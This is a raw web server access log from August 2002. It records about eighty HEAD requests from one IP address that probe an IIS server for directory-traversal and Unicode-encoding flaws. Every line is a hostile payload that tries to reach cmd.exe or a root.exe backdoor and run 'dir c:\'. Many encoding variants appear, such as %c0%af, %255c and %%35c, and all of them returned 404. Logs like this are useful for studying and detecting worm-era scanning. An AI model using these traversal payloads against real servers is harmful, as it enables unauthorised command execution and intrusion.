217.120.13.180 - - [21/Aug/2002:23:14:43 +0100] "HEAD /MSADC/root.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:43 +0100] "HEAD /PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:43 +0100] "HEAD /PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:44 +0100] "HEAD /PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:44 +0100] "HEAD /PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:44 +0100] "HEAD /Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:45 +0100] "HEAD /Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:45 +0100] "HEAD /Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:45 +0100] "HEAD /Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:46 +0100] "HEAD /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:46 +0100] "HEAD /_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:46 +0100] "HEAD /_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:46 +0100] "HEAD /_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:47 +0100] "HEAD /_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:47 +0100] "HEAD /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:47 +0100] "HEAD /_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:47 +0100] "HEAD /_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:48 +0100] "HEAD /_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:48 +0100] "HEAD /_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:48 +0100] "HEAD /adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:49 +0100] "HEAD /adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:49 +0100] "HEAD /c/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:49 +0100] "HEAD /cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:50 +0100] "HEAD /cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:50 +0100] "HEAD /d/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:50 +0100] "HEAD /iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:50 +0100] "HEAD /iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:51 +0100] "HEAD /msaDC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:51 +0100] "HEAD /msaDC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:51 +0100] "HEAD /msaDC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:52 +0100] "HEAD /msaDC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:52 +0100] "HEAD /msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:52 +0100] "HEAD /msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:53 +0100] "HEAD /msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:53 +0100] "HEAD /msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:53 +0100] "HEAD /msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:53 +0100] "HEAD /msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:54 +0100] "HEAD /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:54 +0100] "HEAD /msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:54 +0100] "HEAD /msadc/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:55 +0100] "HEAD /msadc/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:55 +0100] "HEAD /msadc/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:55 +0100] "HEAD /msadc/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:56 +0100] "HEAD /msadc/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:56 +0100] "HEAD /msadc/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:56 +0100] "HEAD /msadc/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:57 +0100] "HEAD /msadc/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:57 +0100] "HEAD /msadc/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:57 +0100] "HEAD /msadc/..\%20HTTP/1.1%e0\%20HTTP/1.1%80\%20HTTP/1.1%af../..\%20HTTP/1.1%e0\%20HTTP/1.1%80\%20HTTP/1.1%af../..\%20HTTP/1.1%e0\%20HTTP/1.1%80\%20HTTP/1.1%af../winnt/system32/cmd.exe\%20HTTP/1.1?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:58 +0100] "HEAD /samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:58 +0100] "HEAD /samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:58 +0100] "HEAD /scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:58 +0100] "HEAD /scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:59 +0100] "HEAD /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:59 +0100] "HEAD /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:14:59 +0100] "HEAD /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:15:00 +0100] "HEAD /scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:15:00 +0100] "HEAD /scripts/..%252f../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:15:00 +0100] "HEAD /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:15:00 +0100] "HEAD /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:15:01 +0100] "HEAD /scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:15:01 +0100] "HEAD /scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:15:01 +0100] "HEAD /scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:15:01 +0100] "HEAD /scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:15:02 +0100] "HEAD /scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:15:02 +0100] "HEAD /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:15:02 +0100] "HEAD /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:15:02 +0100] "HEAD /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:15:03 +0100] "HEAD /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:15:03 +0100] "HEAD /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:15:03 +0100] "HEAD /scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:15:04 +0100] "HEAD /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:15:04 +0100] "HEAD /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:15:04 +0100] "HEAD /scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:15:05 +0100] "HEAD /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:15:05 +0100] "HEAD /scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0" 217.120.13.180 - - [21/Aug/2002:23:15:05 +0100] "HEAD /scripts/root.exe?/c+dir+c:\ HTTP/1.0" 404 0 "" "Mozilla/5.0"